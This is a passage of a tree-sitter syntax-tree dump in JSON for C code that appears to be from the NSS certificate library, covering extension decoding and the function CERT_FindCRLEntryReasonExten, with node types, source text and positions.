"text": "rv", "parent": 287, "children": [], "start_point": {"row": 75, "column": 9}, "end_point": {"row": 75, "column": 11}}, {"id": 289, "type": "!=", "text": "!=", "parent": 287, "children": [], "start_point": {"row": 75, "column": 12}, "end_point": {"row": 75, "column": 14}}, {"id": 290, "type": "identifier", "text": "SECSuccess", "parent": 287, "children": [], "start_point": {"row": 75, "column": 15}, "end_point": {"row": 75, "column": 25}}, {"id": 291, "type": "return_statement", "text": "return (rv);", "parent": 285, "children": [292], "start_point": {"row": 76, "column": 1}, "end_point": {"row": 76, "column": 13}}, {"id": 292, "type": "parenthesized_expression", "text": "(rv)", "parent": 291, "children": [293], "start_point": {"row": 76, "column": 8}, "end_point": {"row": 76, "column": 12}}, {"id": 293, "type": "identifier", "text": "rv", "parent": 292, "children": [], "start_point": {"row": 76, "column": 9}, "end_point": {"row": 76, "column": 11}}, {"id": 294, "type": "assignment_expression", "text": "mark = PORT_ArenaMark(arena)", "parent": 216, "children": [295, 296, 297], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 32}}, {"id": 295, "type": "identifier", "text": "mark", "parent": 294, "children": [], "start_point": {"row": 78, "column": 4}, "end_point": {"row": 78, "column": 8}}, {"id": 296, "type": "=", "text": "=", "parent": 294, "children": [], "start_point": {"row": 78, "column": 9}, "end_point": {"row": 78, "column": 10}}, {"id": 297, "type": "call_expression", "text": "PORT_ArenaMark(arena)", "parent": 294, "children": [298, 299], "start_point": {"row": 78, "column": 11}, "end_point": {"row": 78, "column": 32}}, {"id": 298, "type": "identifier", "text": "PORT_ArenaMark", "parent": 297, "children": [], "start_point": {"row": 78, "column": 11}, "end_point": {"row": 78, "column": 25}}, {"id": 299, "type": "argument_list", "text": "(arena)", "parent": 297, "children": [300], "start_point": {"row": 78, "column": 25}, "end_point": {"row": 78, "column": 32}}, {"id": 300, "type": "identifier", "text": "arena", "parent": 299, "children": [], "start_point": {"row": 78, "column": 26}, "end_point": {"row": 78, "column": 31}}, {"id": 301, "type": "assignment_expression", "text": "tmpItem = SECITEM_ArenaDupItem(arena, &encodedExtenValue)", "parent": 216, "children": [302, 303, 304], "start_point": {"row": 80, "column": 4}, "end_point": {"row": 80, "column": 61}}, {"id": 302, "type": "identifier", "text": "tmpItem", "parent": 301, "children": [], "start_point": {"row": 80, "column": 4}, "end_point": {"row": 80, "column": 11}}, {"id": 303, "type": "=", "text": "=", "parent": 301, "children": [], "start_point": {"row": 80, "column": 12}, "end_point": {"row": 80, "column": 13}}, {"id": 304, "type": "call_expression", "text": "SECITEM_ArenaDupItem(arena, &encodedExtenValue)", "parent": 301, "children": [305, 306], "start_point": {"row": 80, "column": 14}, "end_point": {"row": 80, "column": 61}}, {"id": 305, "type": "identifier", "text": "SECITEM_ArenaDupItem", "parent": 304, "children": [], "start_point": {"row": 80, "column": 14}, "end_point": {"row": 80, "column": 34}}, {"id": 306, "type": "argument_list", "text": "(arena, &encodedExtenValue)", "parent": 304, "children": [307, 308], "start_point": {"row": 80, "column": 34}, "end_point": {"row": 80, "column": 61}}, {"id": 307, "type": "identifier", "text": "arena", "parent": 306, "children": [], "start_point": {"row": 80, "column": 35}, "end_point": {"row": 80, "column": 40}}, {"id": 308, "type": "pointer_expression", "text": "&encodedExtenValue", "parent": 306, "children": [309], "start_point": {"row": 80, "column": 42}, "end_point": {"row": 80, "column": 60}}, {"id": 309, "type": "identifier", "text": "encodedExtenValue", "parent": 308, "children": [], "start_point": {"row": 80, "column": 43}, "end_point": {"row": 80, "column": 60}}, {"id": 310, "type": "if_statement", "text": "if (tmpItem) {\n rv = SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem);\n } else {\n rv = SECFailure;\n }", "parent": 216, "children": [311, 326], "start_point": {"row": 81, "column": 4}, "end_point": {"row": 87, "column": 5}}, {"id": 311, "type": "parenthesized_expression", "text": "(tmpItem)", "parent": 310, "children": [312], "start_point": {"row": 81, "column": 7}, "end_point": {"row": 81, "column": 16}}, {"id": 312, "type": "identifier", "text": "tmpItem", "parent": 311, "children": [], "start_point": {"row": 81, "column": 8}, "end_point": {"row": 81, "column": 15}}, {"id": 313, "type": "assignment_expression", "text": "rv = SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem)", "parent": 310, "children": [314, 315, 316], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 84, "column": 45}}, {"id": 314, "type": "identifier", "text": "rv", "parent": 313, "children": [], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 82, "column": 10}}, {"id": 315, "type": "=", "text": "=", "parent": 313, "children": [], "start_point": {"row": 82, "column": 11}, "end_point": {"row": 82, "column": 12}}, {"id": 316, "type": "call_expression", "text": "SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem)", "parent": 313, "children": [317, 318], "start_point": {"row": 82, "column": 13}, "end_point": {"row": 84, "column": 45}}, {"id": 317, "type": "identifier", "text": "SEC_QuickDERDecodeItem", "parent": 316, "children": [], "start_point": {"row": 82, "column": 13}, "end_point": {"row": 82, "column": 35}}, {"id": 318, "type": "argument_list", "text": "(arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem)", "parent": 316, "children": [319, 320, 321, 325], "start_point": {"row": 82, "column": 36}, "end_point": {"row": 84, "column": 45}}, {"id": 319, "type": "identifier", "text": "arena", "parent": 318, "children": [], "start_point": {"row": 82, "column": 37}, "end_point": {"row": 82, "column": 42}}, {"id": 320, "type": "identifier", "text": "value", "parent": 318, "children": [], "start_point": {"row": 82, "column": 44}, "end_point": {"row": 82, "column": 49}}, {"id": 321, "type": "call_expression", "text": "SEC_ASN1_GET(SEC_IntegerTemplate)", "parent": 318, "children": [322, 323], "start_point": {"row": 83, "column": 37}, "end_point": {"row": 83, "column": 70}}, {"id": 322, "type": "identifier", "text": "SEC_ASN1_GET", "parent": 321, "children": [], "start_point": {"row": 83, "column": 37}, "end_point": {"row": 83, "column": 49}}, {"id": 323, "type": "argument_list", "text": "(SEC_IntegerTemplate)", "parent": 321, "children": [324], "start_point": {"row": 83, "column": 49}, "end_point": {"row": 83, "column": 70}}, {"id": 324, "type": "identifier", "text": "SEC_IntegerTemplate", "parent": 323, "children": [], "start_point": {"row": 83, "column": 50}, "end_point": {"row": 83, "column": 69}}, {"id": 325, "type": "identifier", "text": "tmpItem", "parent": 318, "children": [], "start_point": {"row": 84, "column": 37}, "end_point": {"row": 84, "column": 44}}, {"id": 326, "type": "else_clause", "text": "else {\n rv = SECFailure;\n }", "parent": 310, "children": [], "start_point": {"row": 85, "column": 6}, "end_point": {"row": 87, "column": 5}}, {"id": 327, "type": "assignment_expression", "text": "rv = SECFailure", "parent": 326, "children": [328, 329, 330], "start_point": {"row": 86, "column": 8}, "end_point": {"row": 86, "column": 23}}, {"id": 328, "type": "identifier", "text": "rv", "parent": 327, "children": [], "start_point": {"row": 86, "column": 8}, "end_point": {"row": 86, "column": 10}}, {"id": 329, "type": "=", "text": "=", "parent": 327, "children": [], "start_point": {"row": 86, "column": 11}, "end_point": {"row": 86, "column": 12}}, {"id": 330, "type": "identifier", "text": "SECFailure", "parent": 327, "children": [], "start_point": {"row": 86, "column": 13}, "end_point": {"row": 86, "column": 23}}, {"id": 331, "type": "call_expression", "text": "PORT_Free (encodedExtenValue.data)", "parent": 216, "children": [332, 333], "start_point": {"row": 89, "column": 4}, "end_point": {"row": 89, "column": 38}}, {"id": 332, "type": "identifier", "text": "PORT_Free", "parent": 331, "children": [], "start_point": {"row": 89, "column": 4}, "end_point": {"row": 89, "column": 13}}, {"id": 333, "type": "argument_list", "text": "(encodedExtenValue.data)", "parent": 331, "children": [334], "start_point": {"row": 89, "column": 14}, "end_point": {"row": 89, "column": 38}}, {"id": 334, "type": "field_expression", "text": "encodedExtenValue.data", "parent": 333, "children": [335, 336], "start_point": {"row": 89, "column": 15}, "end_point": {"row": 89, "column": 37}}, {"id": 335, "type": "identifier", "text": "encodedExtenValue", "parent": 334, "children": [], "start_point": {"row": 89, "column": 15}, "end_point": {"row": 89, "column": 32}}, {"id": 336, "type": "field_identifier", "text": "data", "parent": 334, "children": [], "start_point": {"row": 89, "column": 33}, "end_point": {"row": 89, "column": 37}}, {"id": 337, "type": "if_statement", "text": "if (rv == SECFailure) {\n PORT_ArenaRelease(arena, mark);\n } else {\n PORT_ArenaUnmark(arena, mark);\n }", "parent": 216, "children": [338, 348], "start_point": {"row": 90, "column": 4}, "end_point": {"row": 94, "column": 5}}, {"id": 338, "type": "parenthesized_expression", "text": "(rv == SECFailure)", "parent": 337, "children": [339], "start_point": {"row": 90, "column": 7}, "end_point": {"row": 90, "column": 25}}, {"id": 339, "type": "binary_expression", "text": "rv == SECFailure", "parent": 338, "children": [340, 341, 342], "start_point": {"row": 90, "column": 8}, "end_point": {"row": 90, "column": 24}}, {"id": 340, "type": "identifier", "text": "rv", "parent": 339, "children": [], "start_point": {"row": 90, "column": 8}, "end_point": {"row": 90, "column": 10}}, {"id": 341, "type": "==", "text": "==", "parent": 339, "children": [], "start_point": {"row": 90, "column": 11}, "end_point": {"row": 90, "column": 13}}, {"id": 342, "type": "identifier", "text": "SECFailure", "parent": 339, "children": [], "start_point": {"row": 90, "column": 14}, "end_point": {"row": 90, "column": 24}}, {"id": 343, "type": "call_expression", "text": "PORT_ArenaRelease(arena, mark)", "parent": 337, "children": [344, 345], "start_point": {"row": 91, "column": 8}, "end_point": {"row": 91, "column": 38}}, {"id": 344, "type": "identifier", "text": "PORT_ArenaRelease", "parent": 343, "children": [], "start_point": {"row": 91, "column": 8}, "end_point": {"row": 91, "column": 25}}, {"id": 345, "type": "argument_list", "text": "(arena, mark)", "parent": 343, "children": [346, 347], "start_point": {"row": 91, "column": 25}, "end_point": {"row": 91, "column": 38}}, {"id": 346, "type": "identifier", "text": "arena", "parent": 345, "children": [], "start_point": {"row": 91, "column": 26}, "end_point": {"row": 91, "column": 31}}, {"id": 347, "type": "identifier", "text": "mark", "parent": 345, "children": [], "start_point": {"row": 91, "column": 33}, "end_point": {"row": 91, "column": 37}}, {"id": 348, "type": "else_clause", "text": "else {\n PORT_ArenaUnmark(arena, mark);\n }", "parent": 337, "children": [], "start_point": {"row": 92, "column": 6}, "end_point": {"row": 94, "column": 5}}, {"id": 349, "type": "call_expression", "text": "PORT_ArenaUnmark(arena, mark)", "parent": 348, "children": [350, 351], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 37}}, {"id": 350, "type": "identifier", "text": "PORT_ArenaUnmark", "parent": 349, "children": [], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 24}}, {"id": 351, "type": "argument_list", "text": "(arena, mark)", "parent": 349, "children": [352, 353], "start_point": {"row": 93, "column": 24}, "end_point": {"row": 93, "column": 37}}, {"id": 352, "type": "identifier", "text": "arena", "parent": 351, "children": [], "start_point": {"row": 93, "column": 25}, "end_point": {"row": 93, "column": 30}}, {"id": 353, "type": "identifier", "text": "mark", "parent": 351, "children": [], "start_point": {"row": 93, "column": 32}, "end_point": {"row": 93, "column": 36}}, {"id": 354, "type": "return_statement", "text": "return (rv);", "parent": 216, "children": [355], "start_point": {"row": 95, "column": 4}, "end_point": {"row": 95, "column": 16}}, {"id": 355, "type": "parenthesized_expression", "text": "(rv)", "parent": 354, "children": [356], "start_point": {"row": 95, "column": 11}, "end_point": {"row": 95, "column": 15}}, {"id": 356, "type": "identifier", "text": "rv", "parent": 355, "children": [], "start_point": {"row": 95, "column": 12}, "end_point": {"row": 95, "column": 14}}, {"id": 357, "type": "function_definition", "text": "SECStatus CERT_FindCRLEntryReasonExten (CERTCrlEntry *crlEntry,\n CERTCRLEntryReasonCode *value)\n{\n SECItem wrapperItem = {siBuffer,0};\n SECItem tmpItem = {siBuffer,0};\n SECStatus rv;\n PRArenaPool *arena = NULL;\n\n arena = PORT_NewArena(DER_DEFAULT_CHUNKSIZE); \n if ( ! arena ) {\n\treturn(SECFailure);\n }\n \n rv = cert_FindExtension(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem);\n if ( rv != SECSuccess ) {\n\tgoto loser;\n }\n\n rv = SEC_QuickDERDecodeItem(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem);\n\n if ( rv != SECSuccess ) {\n\tgoto loser;\n }\n\n *value = (CERTCRLEntryReasonCode) DER_GetInteger(&tmpItem);\n\nloser:\n if ( arena ) {\n\tPORT_FreeArena(arena, PR_FALSE);\n }\n \n if ( wrapperItem.data ) {\n\tPORT_Free(wrapperItem.data);\n }\n\n return (rv);\n}", "parent": null, "children": [358, 359], "start_point": {"row": 98, "column": 0}, "end_point": {"row": 137, "column": 1}}, {"id": 358, "type": "type_identifier", "text": "SECStatus", "parent": 357, "children": [], "start_point": {"row": 98, "column": 0}, "end_point": {"row": 98, "column": 9}}, {"id": 359, "type": "function_declarator", "text": "CERT_FindCRLEntryReasonExten (CERTCrlEntry *crlEntry,\n CERTCRLEntryReasonCode *value)", "parent": 357, "children": [360, 361], "start_point": {"row": 98, "column": 10}, "end_point": {"row": 99, "column": 70}}, {"id": 360, "type": "identifier", "text": "CERT_FindCRLEntryReasonExten", "parent": 359, "children": [], "start_point": {"row": 98, "column": 10}, "end_point": {"row": 98, "column": 38}}, {"id": 361, "type": "parameter_list", "text": "(CERTCrlEntry *crlEntry,\n CERTCRLEntryReasonCode *value)", "parent": 359, "children": [362, 367], "start_point": {"row": 98, "column": 39}, "end_point": {"row": 99, "column": 70}}, {"id": 362, "type": "parameter_declaration", "text": "CERTCrlEntry *crlEntry", "parent": 361, "children": [363, 364], "start_point": {"row": 98, "column": 40}, "end_point": {"row": 98, "column": 62}}, {"id": 363, "type": "type_identifier", "text": "CERTCrlEntry", "parent": 362, "children": [], "start_point": {"row": 98, "column": 40}, "end_point": {"row": 98, "column": 52}}, {"id": 364, "type": "pointer_declarator", "text": "*crlEntry", "parent": 362, "children": [365, 366], "start_point": {"row": 98, "column": 53}, "end_point": {"row": 98, "column": 62}}, {"id": 365, "type": "*", "text": "*", "parent": 364, "children": [], "start_point": {"row": 98, "column": 53}, "end_point": {"row": 98, "column": 54}}, {"id": 366, "type": "identifier", "text": "crlEntry", "parent": 364, "children": [], "start_point": {"row": 98, "column": 54}, "end_point": {"row": 98, "column": 62}}, {"id": 367, "type": "parameter_declaration", "text": "CERTCRLEntryReasonCode *value", "parent": 361, "children": [368, 369], "start_point": {"row": 99, "column": 40}, "end_point": {"row": 99, "column": 69}}, {"id": 368, "type": "type_identifier", "text": "CERTCRLEntryReasonCode", "parent": 367, "children": [], "start_point": {"row": 99, "column": 40}, "end_point": {"row": 99, "column": 62}}, {"id": 369, "type": "pointer_declarator", "text": "*value", "parent": 367, "children": [370, 371], "start_point": {"row": 99, "column": 63}, "end_point": {"row": 99, "column": 69}}, {"id": 370, "type": "*", "text": "*", "parent": 369, "children": [], "start_point": {"row": 99, "column": 63}, "end_point": {"row": 99, "column": 64}}, {"id": 371, "type": "identifier", "text": "value", "parent": 369, "children": [], "start_point": {"row": 99, "column": 64}, "end_point": {"row": 99, "column": 69}}, {"id": 372, "type": "declaration", "text": "SECItem wrapperItem = {siBuffer,0};", "parent": 357, "children": [373, 374], "start_point": {"row": 101, "column": 4}, "end_point": {"row": 101, "column": 39}}, {"id": 373, "type": "type_identifier", "text": "SECItem", "parent": 372, "children": [], "start_point": {"row": 101, "column": 4}, "end_point": {"row": 101, "column": 11}}, {"id": 374, "type": "init_declarator", "text": "wrapperItem = {siBuffer,0}", "parent": 372, "children": [375, 376, 377], "start_point": {"row": 101, "column": 12}, "end_point": {"row": 101, "column": 38}}, {"id": 375, "type": "identifier", "text": "wrapperItem", "parent": 374, "children": [], "start_point": {"row": 101, "column": 12}, "end_point": {"row": 101, "column": 23}}, {"id": 376, "type": "=", "text": "=", "parent": 374, "children": [], "start_point": {"row": 101, "column": 24}, "end_point": {"row": 101, "column": 25}}, {"id": 377, "type": "initializer_list", "text": "{siBuffer,0}", "parent": 374, "children": [378, 379], "start_point": {"row": 101, "column": 26}, "end_point": {"row": 101, "column": 38}}, {"id": 378, "type": "identifier", "text": "siBuffer", "parent": 377, "children": [], "start_point": {"row": 101, "column": 27}, "end_point": {"row": 101, "column": 35}}, {"id": 379, "type": "number_literal", "text": "0", "parent": 377, "children": [], "start_point": {"row": 101, "column": 36}, "end_point": {"row": 101, "column": 37}}, {"id": 380, "type": "declaration", "text": "SECItem tmpItem = {siBuffer,0};", "parent": 357, "children": [381, 382], "start_point": {"row": 102, "column": 4}, "end_point": {"row": 102, "column": 35}}, {"id": 381, "type": "type_identifier", "text": "SECItem", "parent": 380, "children": [], "start_point": {"row": 102, "column": 4}, "end_point": {"row": 102, "column": 11}}, {"id": 382, "type": "init_declarator", "text": "tmpItem = {siBuffer,0}", "parent": 380, "children": [383, 384, 385], "start_point": {"row": 102, "column": 12}, "end_point": {"row": 102, "column": 34}}, {"id": 383, "type": "identifier", "text": "tmpItem", "parent": 382, "children": [], "start_point": {"row": 102, "column": 12}, "end_point": {"row": 102, "column": 19}}, {"id": 384, "type": "=", "text": "=", "parent": 382, "children": [], "start_point": {"row": 102, "column": 20}, "end_point": {"row": 102, "column": 21}}, {"id": 385, "type": "initializer_list", "text": "{siBuffer,0}", "parent": 382, "children": [386, 387], "start_point": {"row": 102, "column": 22}, "end_point": {"row": 102, "column": 34}}, {"id": 386, "type": "identifier", "text": "siBuffer", "parent": 385, "children": [], "start_point": {"row": 102, "column": 23}, "end_point": {"row": 102, "column": 31}}, {"id": 387, "type": "number_literal", "text": "0", "parent": 385, "children": [], "start_point": {"row": 102, "column": 32}, "end_point": {"row": 102, "column": 33}}, {"id": 388, "type": "declaration", "text": "SECStatus rv;", "parent": 357, "children": [389, 390], "start_point": {"row": 103, "column": 4}, "end_point": {"row": 103, "column": 17}}, {"id": 389, "type": "type_identifier", "text": "SECStatus", "parent": 388, "children": [], "start_point": {"row": 103, "column": 4}, "end_point": {"row": 103, "column": 13}}, {"id": 390, "type": "identifier", "text": "rv", "parent": 388, "children": [], "start_point": {"row": 103, "column": 14}, "end_point": {"row": 103, "column": 16}}, {"id": 391, "type": "declaration", "text": "PRArenaPool *arena = NULL;", "parent": 357, "children": [392, 393], "start_point": {"row": 104, "column": 4}, "end_point": {"row": 104, "column": 30}}, {"id": 392, "type": "type_identifier", "text": "PRArenaPool", "parent": 391, "children": [], "start_point": {"row": 104, "column": 4}, "end_point": {"row": 104, "column": 15}}, {"id": 393, "type": "init_declarator", "text": "*arena = NULL", "parent": 391, "children": [394, 397, 398], "start_point": {"row": 104, "column": 16}, "end_point": {"row": 104, "column": 29}}, {"id": 394, "type": "pointer_declarator", "text": "*arena", "parent": 393, "children": [395, 396], "start_point": {"row": 104, "column": 16}, "end_point": {"row": 104, "column": 22}}, {"id": 395, "type": "*", "text": "*", "parent": 394, "children": [], "start_point": {"row": 104, "column": 16}, "end_point": {"row": 104, "column": 17}}, {"id": 396, "type": "identifier", "text": "arena", "parent": 394, "children": [], "start_point": {"row": 104, "column": 17}, "end_point": {"row": 104, "column": 22}}, {"id": 397, "type": "=", "text": "=", "parent": 393, "children": [], "start_point": {"row": 104, "column": 23}, "end_point": {"row": 104, "column": 24}}, {"id": 398, "type": "null", "text": "NULL", "parent": 393, "children": [399], "start_point": {"row": 104, "column": 25}, "end_point": {"row": 104, "column": 29}}, {"id": 399, "type": "NULL", "text": "NULL", "parent": 398, "children": [], "start_point": {"row": 104, "column": 25}, "end_point": {"row": 104, "column": 29}}, {"id": 400, "type": "assignment_expression", "text": "arena = PORT_NewArena(DER_DEFAULT_CHUNKSIZE)", "parent": 357, "children": [401, 402, 403], "start_point": {"row": 106, "column": 4}, "end_point": {"row": 106, "column": 48}}, {"id": 401, "type": "identifier", "text": "arena", "parent": 400, "children": [], "start_point": {"row": 106, "column": 4}, "end_point": {"row": 106, "column": 9}}, {"id": 402, "type": "=", "text": "=", "parent": 400, "children": [], "start_point": {"row": 106, "column": 10}, "end_point": {"row": 106, "column": 11}}, {"id": 403, "type": "call_expression", "text": "PORT_NewArena(DER_DEFAULT_CHUNKSIZE)", "parent": 400, "children": [404, 405], "start_point": {"row": 106, "column": 12}, "end_point": {"row": 106, "column": 48}}, {"id": 404, "type": "identifier", "text": "PORT_NewArena", "parent": 403, "children": [], "start_point": {"row": 106, "column": 12}, "end_point": {"row": 106, "column": 25}}, {"id": 405, "type": "argument_list", "text": "(DER_DEFAULT_CHUNKSIZE)", "parent": 403, "children": [406], "start_point": {"row": 106, "column": 25}, "end_point": {"row": 106, "column": 48}}, {"id": 406, "type": "identifier", "text": "DER_DEFAULT_CHUNKSIZE", "parent": 405, "children": [], "start_point": {"row": 106, "column": 26}, "end_point": {"row": 106, "column": 47}}, {"id": 407, "type": "if_statement", "text": "if ( ! arena ) {\n\treturn(SECFailure);\n }", "parent": 357, "children": [408], "start_point": {"row": 107, "column": 4}, "end_point": {"row": 109, "column": 5}}, {"id": 408, "type": "parenthesized_expression", "text": "( ! arena )", "parent": 407, "children": [409], "start_point": {"row": 107, "column": 7}, "end_point": {"row": 107, "column": 18}}, {"id": 409, "type": "unary_expression", "text": "! arena", "parent": 408, "children": [410, 411], "start_point": {"row": 107, "column": 9}, "end_point": {"row": 107, "column": 16}}, {"id": 410, "type": "!", "text": "!", "parent": 409, "children": [], "start_point": {"row": 107, "column": 9}, "end_point": {"row": 107, "column": 10}}, {"id": 411, "type": "identifier", "text": "arena", "parent": 409, "children": [], "start_point": {"row": 107, "column": 11}, "end_point": {"row": 107, "column": 16}}, {"id": 412, "type": "return_statement", "text": "return(SECFailure);", "parent": 407, "children": [413], "start_point": {"row": 108, "column": 1}, "end_point": {"row": 108, "column": 20}}, {"id": 413, "type": "parenthesized_expression", "text": "(SECFailure)", "parent": 412, "children": [414], "start_point": {"row": 108, "column": 7}, "end_point": {"row": 108, "column": 19}}, {"id": 414, "type": "identifier", "text": "SECFailure", "parent": 413, "children": [], "start_point": {"row": 108, "column": 8}, "end_point": {"row": 108, "column": 18}}, {"id": 415, "type": "assignment_expression", "text": "rv = cert_FindExtension(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem)", "parent": 357, "children": [416, 417, 418], "start_point": {"row": 111, "column": 4}, "end_point": {"row": 112, "column": 41}}, {"id": 416, "type": "identifier", "text": "rv", "parent": 415, "children": [], "start_point": {"row": 111, "column": 4}, "end_point": {"row": 111, "column": 6}}, {"id": 417, "type": "=", "text": "=", "parent": 415, "children": [], "start_point": {"row": 111, "column": 7}, "end_point": {"row": 111, "column": 8}}, {"id": 418, "type": "call_expression", "text": "cert_FindExtension(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem)", "parent": 415, "children": [419, 420], "start_point": {"row": 111, "column": 9}, "end_point": {"row": 112, "column": 41}}, {"id": 419, "type": "identifier", "text": "cert_FindExtension", "parent": 418, "children": [], "start_point": {"row": 111, "column": 9}, "end_point": {"row": 111, "column": 27}}, {"id": 420, "type": "argument_list", "text": "(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem)", "parent": 418, "children": [421, 424, 425], "start_point": {"row": 111, "column": 27}, "end_point": {"row": 112, "column": 41}}, {"id": 421, "type": "field_expression", "text": "crlEntry->extensions", "parent": 420, "children": [422, 423], "start_point": {"row": 111, "column": 28}, "end_point": {"row": 111, "column": 48}}, {"id": 422, "type": "identifier", "text": "crlEntry", "parent": 421, "children": [], "start_point": {"row": 111, "column": 28}, "end_point": {"row": 111, "column": 36}}, {"id": 423, "type": "field_identifier", "text": "extensions", "parent": 421, "children": [], "start_point": {"row": 111, "column": 38}, "end_point": {"row": 111, "column": 48}}, {"id": 424, "type": "identifier", "text": "SEC_OID_X509_REASON_CODE", "parent": 420, "children": [], "start_point": {"row": 111, "column": 50}, "end_point": {"row": 111, "column": 74}}, {"id": 425, "type": "pointer_expression", "text": "&wrapperItem", "parent": 420, "children": [426], "start_point": {"row": 112, "column": 28}, "end_point": {"row": 112, "column": 40}}, {"id": 426, "type": "identifier", "text": "wrapperItem", "parent": 425, "children": [], "start_point": {"row": 112, "column": 29}, "end_point": {"row": 112, "column": 40}}, {"id": 427, "type": "if_statement", "text": "if ( rv != SECSuccess ) {\n\tgoto loser;\n }", "parent": 357, "children": [428], "start_point": {"row": 113, "column": 4}, "end_point": {"row": 115, "column": 5}}, {"id": 428, "type": "parenthesized_expression", "text": "( rv != SECSuccess )", "parent": 427, "children": [429], "start_point": {"row": 113, "column": 7}, "end_point": {"row": 113, "column": 27}}, {"id": 429, "type": "binary_expression", "text": "rv != SECSuccess", "parent": 428, "children": [430, 431, 432], "start_point": {"row": 113, "column": 9}, "end_point": {"row": 113, "column": 25}}, {"id": 430, "type": "identifier", "text": "rv", "parent": 429, "children": [], "start_point": {"row": 113, "column": 9}, "end_point": {"row": 113, "column": 11}}, {"id": 431, "type": "!=", "text": "!=", "parent": 429, "children": [], "start_point": {"row": 113, "column": 12}, "end_point": {"row": 113, "column": 14}}, {"id": 432, "type": "identifier", "text": "SECSuccess", "parent": 429, "children": [], "start_point": {"row": 113, "column": 15}, "end_point": {"row": 113, "column": 25}}, {"id": 433, "type": "goto_statement", "text": "goto loser;", "parent": 427, "children": [434, 435], "start_point": {"row": 114, "column": 1}, "end_point": {"row": 114, "column": 12}}, {"id": 434, "type": "goto", "text": "goto", "parent": 433, "children": [], "start_point": {"row": 114, "column": 1}, "end_point": {"row": 114, "column": 5}}, {"id": 435, "type": "statement_identifier", "text": "loser", "parent": 433, "children": [], "start_point": {"row": 114, "column": 6}, "end_point": {"row": 114, "column": 11}}, {"id": 436, "type": "assignment_expression", "text": "rv = SEC_QuickDERDecodeItem(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem)", "parent": 357, "children": [437, 438, 439], "start_point": {"row": 117, "column": 4}, "end_point": {"row": 119, "column": 45}}, {"id": 437, "type": "identifier", "text": "rv", "parent": 436, "children": [], "start_point": {"row": 117, "column": 4}, "end_point": {"row": 117, "column": 6}}, {"id": 438, "type": "=", "text": "=", "parent": 436, "children": [], "start_point": {"row": 117, "column": 7}, "end_point": {"row": 117, "column": 8}}, {"id": 439, "type": "call_expression", "text": "SEC_QuickDERDecodeItem(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem)", "parent": 436, "children": [440, 441], "start_point": {"row": 117, "column": 9}, "end_point": {"row": 119, "column": 45}}, {"id": 440, "type": "identifier", "text": "SEC_QuickDERDecodeItem", "parent": 439, "children": [], "start_point": {"row": 117, "column": 9}, "end_point": {"row": 117, "column": 31}}, {"id": 441, "type": "argument_list", "text": "(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem)", "parent": 439, "children": [442, 443, 445, 449], "start_point": {"row": 117, "column": 31}, "end_point": {"row": 119, "column": 45}}, {"id": 442, "type": "identifier", "text": "arena", "parent": 441, "children": [], "start_point": {"row": 117, "column": 32}, "end_point": {"row": 117, "column": 37}}, {"id": 443, "type": "pointer_expression", "text": "&tmpItem", "parent": 441, "children": [444], "start_point": {"row": 117, "column": 39}, "end_point": {"row": 117, "column": 47}}, {"id": 444, "type": "identifier", "text": "tmpItem", "parent": 443, "children": [], "start_point": {"row": 117, "column": 40}, "end_point": {"row": 117, "column": 47}}, {"id": 445, "type": "call_expression", "text": "SEC_ASN1_GET(SEC_EnumeratedTemplate)", "parent": 441, "children": [446, 447], "start_point": {"row": 118, "column": 32}, "end_point": {"row": 118, "column": 68}}, {"id": 446, "type": "identifier", "text": "SEC_ASN1_GET", "parent": 445, "children": [], "start_point": {"row": 118, "column": 32}, "end_point": {"row": 118, "column": 44}}, {"id": 447, "type": "argument_list", "text": "(SEC_EnumeratedTemplate)", "parent": 445, "children": [448], "start_point": {"row": 118, "column": 44}, "end_point": {"row": 118, "column": 68}}, {"id": 448, "type": "identifier", "text": "SEC_EnumeratedTemplate", "parent": 447, "children": [], "start_point": {"row": 118, "column": 45}, "end_point": {"row": 118, "column": 67}}, {"id": 449, "type": "pointer_expression", "text": "&wrapperItem", "parent": 441, "children": [450], "start_point": {"row": 119, "column": 32}, "end_point": {"row": 119, "column": 44}}, {"id": 450, "type": "identifier", "text": "wrapperItem", "parent": 449, "children": [], "start_point": {"row": 119, "column": 33}, "end_point": {"row": 119, "column": 44}}, {"id": 451, "type": "if_statement", "text": "if ( rv != SECSuccess ) {\n\tgoto loser;\n }", "parent": 357, "children": [452], "start_point": {"row": 121, "column": 4}, "end_point": {"row": 123, "column": 5}}, {"id": 452, "type": "parenthesized_expression", "text": "( rv != SECSuccess )", "parent": 451, "children": [453], "start_point": {"row": 121, "column": 7}, "end_point": {"row": 121, "column": 27}}, {"id": 453, "type": "binary_expression", "text": "rv != SECSuccess", "parent": 452, "children": [454, 455, 456], "start_point": {"row": 121, "column": 9}, "end_point": {"row": 121, "column": 25}}, {"id": 454, "type": "identifier", "text": "rv", "parent": 453, "children": [], "start_point": {"row": 121, "column": 9}, "end_point": {"row": 121, "column": 11}}, {"id": 455, "type": "!=", "text": "!=", "parent": 453, "children": [], "start_point": {"row": 121, "column": 12}, "end_point": {"row": 121, "column": 14}}, {"id": 456, "type": "identifier", "text": "SECSuccess", "parent": 453, "children": [], "start_point": {"row": 121, "column": 15}, "end_point": {"row": 121, "column": 25}}, {"id": 457, "type": "goto_statement", "text": "goto loser;", "parent": 451, "children": [458, 459], "start_point": {"row": 122, "column": 1}, "end_point": {"row": 122, "column": 12}}, {"id": 458, "type": "goto", "text": "goto", "parent": 457, 